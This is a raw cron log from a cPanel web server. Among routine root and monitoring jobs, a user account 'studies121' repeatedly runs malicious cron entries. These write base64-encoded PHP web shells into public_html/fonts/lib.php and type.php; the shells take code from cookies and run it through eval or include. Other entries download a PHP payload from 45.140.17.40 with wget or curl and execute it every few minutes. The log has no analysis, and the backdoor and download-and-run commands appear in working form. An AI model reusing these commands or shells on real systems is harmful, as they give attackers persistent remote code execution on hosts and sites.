Sep  9 05:47:01 ip-184-168-122-23 CROND[22603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:48:01 ip-184-168-122-23 CROND[22687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:48:01 ip-184-168-122-23 CROND[22691]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:48:01 ip-184-168-122-23 CROND[22692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:48:01 ip-184-168-122-23 CROND[22690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:48:01 ip-184-168-122-23 CROND[22689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:49:01 ip-184-168-122-23 CROND[22802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:49:01 ip-184-168-122-23 CROND[22806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:49:01 ip-184-168-122-23 CROND[22804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:49:01 ip-184-168-122-23 CROND[22805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:50:01 ip-184-168-122-23 CROND[22934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:50:01 ip-184-168-122-23 CROND[22937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:50:01 ip-184-168-122-23 CROND[22936]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:50:01 ip-184-168-122-23 CROND[22939]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 05:50:01 ip-184-168-122-23 CROND[22938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:50:01 ip-184-168-122-23 CROND[22947]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:50:01 ip-184-168-122-23 CROND[22948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:50:01 ip-184-168-122-23 CROND[22945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:50:01 ip-184-168-122-23 CROND[22946]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:51:01 ip-184-168-122-23 CROND[23041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:51:01 ip-184-168-122-23 CROND[23042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:51:01 ip-184-168-122-23 CROND[23043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:51:01 ip-184-168-122-23 CROND[23047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:52:01 ip-184-168-122-23 CROND[23272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:52:01 ip-184-168-122-23 CROND[23274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:52:01 ip-184-168-122-23 CROND[23275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:52:01 ip-184-168-122-23 CROND[23276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:52:01 ip-184-168-122-23 CROND[23277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:53:01 ip-184-168-122-23 CROND[23513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:53:01 ip-184-168-122-23 CROND[23514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:53:01 ip-184-168-122-23 CROND[23512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:53:02 ip-184-168-122-23 CROND[23515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:54:01 ip-184-168-122-23 CROND[23630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:54:01 ip-184-168-122-23 CROND[23632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:54:01 ip-184-168-122-23 CROND[23634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:54:01 ip-184-168-122-23 CROND[23635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:54:01 ip-184-168-122-23 CROND[23633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:55:01 ip-184-168-122-23 CROND[23757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:55:01 ip-184-168-122-23 CROND[23762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:55:01 ip-184-168-122-23 CROND[23759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:55:01 ip-184-168-122-23 CROND[23760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:55:01 ip-184-168-122-23 CROND[23758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:55:01 ip-184-168-122-23 CROND[23761]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:56:01 ip-184-168-122-23 CROND[23889]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:56:01 ip-184-168-122-23 CROND[23891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:56:01 ip-184-168-122-23 CROND[23893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:56:01 ip-184-168-122-23 CROND[23892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:56:01 ip-184-168-122-23 CROND[23894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:57:01 ip-184-168-122-23 CROND[24084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:57:01 ip-184-168-122-23 CROND[24085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:57:01 ip-184-168-122-23 CROND[24083]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:57:01 ip-184-168-122-23 CROND[24086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:58:01 ip-184-168-122-23 CROND[24177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:58:01 ip-184-168-122-23 CROND[24178]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:58:01 ip-184-168-122-23 CROND[24180]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:58:01 ip-184-168-122-23 CROND[24181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:58:01 ip-184-168-122-23 CROND[24179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:59:01 ip-184-168-122-23 CROND[24297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:59:01 ip-184-168-122-23 CROND[24299]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:59:01 ip-184-168-122-23 CROND[24300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:59:01 ip-184-168-122-23 CROND[24301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
